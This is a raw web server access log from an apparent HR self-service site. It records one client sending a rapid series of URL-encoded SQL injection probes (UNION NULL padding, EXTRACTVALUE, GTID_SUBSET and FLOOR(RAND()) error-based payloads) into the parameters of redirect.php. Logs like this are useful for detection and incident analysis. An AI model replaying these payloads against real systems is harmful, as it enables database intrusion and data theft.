100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x70385777%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x564d596e%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x70385777%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x564d596e%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x64364b53%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f527367%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FveUK%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x64364b53%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f527367%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FveUK%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x745a4f4c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x704b4a58%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fam2J%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x745a4f4c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x704b4a58%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fam2J%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x70385777%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x564d596e%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4a4c6156%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64676469%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FjvGY%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4a4c6156%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64676469%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FjvGY%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6e346962%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5944484b%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FYgUm%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6e346962%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5944484b%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FYgUm%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x5841536c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e6b6a66%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FCCuQ%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x5841536c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e6b6a66%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FCCuQ%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6c363032%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45766e59%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FOOJn%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6c363032%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45766e59%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FOOJn%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x75393175%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41636463%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FmLlW&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x75393175%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41636463%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FmLlW&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x70694138%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a575479%29%2C6420%29--%2F%2A%2A%2FUgHx&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x70694138%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a575479%29%2C6420%29--%2F%2A%2A%2FUgHx&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x714c3054%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78487146%29%2C6420%29--%2F%2A%2A%2FrZLu&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x714c3054%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78487146%29%2C6420%29--%2F%2A%2A%2FrZLu&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x515a4f4e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4872764b%29%29--%2F%2A%2A%2FofmB&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x515a4f4e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4872764b%29%29--%2F%2A%2A%2FofmB&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x334d706b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57486d55%29%29--%2F%2A%2A%2FdRbr&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x334d706b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57486d55%29%29--%2F%2A%2A%2FdRbr&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x34716d41%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x727a6133%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FeyWd%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x34716d41%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x727a6133%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FeyWd%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x745a4f4c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x704b4a58%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fam2J%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x53744776%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70545966%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FYktN&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x53744776%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70545966%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FYktN&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6f496a47%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x53693951%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fkykz%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6f496a47%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x53693951%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fkykz%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6c363032%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45766e59%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FOOJn%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x376c5156%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f365643%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FarTp%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
